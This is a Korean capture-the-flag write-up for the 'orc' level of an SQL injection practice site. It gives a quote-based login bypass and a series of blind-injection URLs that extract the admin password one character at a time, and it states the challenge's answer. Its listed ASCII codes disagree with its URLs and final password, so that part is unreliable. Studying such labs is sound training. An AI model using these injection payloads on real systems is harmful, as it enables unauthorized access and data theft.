
이번 문제에서 인젝션이 가능한 구간은 $_GET[pw] 파라미터를 받아와 사용하는 부분이다.
첫 번째 조건문에서는 쿼리 조회 결과로 받아온 id 컬럼 값이 “admin” 인 경우 “Hello admin” 을 출력하고
두 번째 조건문에서는 $result['pw'] 값이 존재하고 admin 의 실제 패스워드와 사용자가 입력한 $_GET['pw'] 값이 동일하면 문제가 클리어 되는 구조를 띤다.
이 문제를 풀이하기 위해서는 admin 계정으로 로그인이 필요한데, 로그인만 성공해서 되는 문제가 아니라 admin 계정의 실제 패스워드 또한 함께 입력해야 문제 풀이에 성공한다.
일단 첫 번째 조건은 아래 페이로드를 통해 쉽게 우회할 수 있다. ( ’ 문자 필터링을 하고 있지 않다. )
(페이로드) https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20%271%27=%271

인젝션 가능한 쿼리문을 획득했으므로, 이제 패스워드 길이를 구한 후 패스워드 값을 구한다.
패스워드를 구하는 과정은 아래와 같다.
(1) admin 계정의 패스워드 길이는 8 로 확인했다.
(페이로드) https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20LENGTH(pw)=8+AND+id=%27admin

(2) admin 계정의 패스워드는 ASCII 함수와 SUBSTR 함수를 통해 확인할 수 있다. (48, 57, 53, 97, 57, 56, 54, 51)
추출한 ASCII 코드를 문자로 변환하면 “095a9852” 가 된다.
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20ASCII(SUBSTR(pw,1,1))=48+AND+id=%27admin
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20ASCII(SUBSTR(pw,2,1))=57+AND+id=%27admin
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20ASCII(SUBSTR(pw,3,1))=53+AND+id=%27admin
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20ASCII(SUBSTR(pw,4,1))=97+AND+id=%27admin
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20ASCII(SUBSTR(pw,5,1))=57+AND+id=%27admin
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20ASCII(SUBSTR(pw,6,1))=56+AND+id=%27admin
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20ASCII(SUBSTR(pw,7,1))=53+AND+id=%27admin
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20OR%20ASCII(SUBSTR(pw,8,1))=50+AND+id=%27admin
- 요 패스워드를 입력해주면 “ORC Clear!” 메시지 출력되며 클리어에 성공하게 된다.

🐛.. 🐛.. 🐛..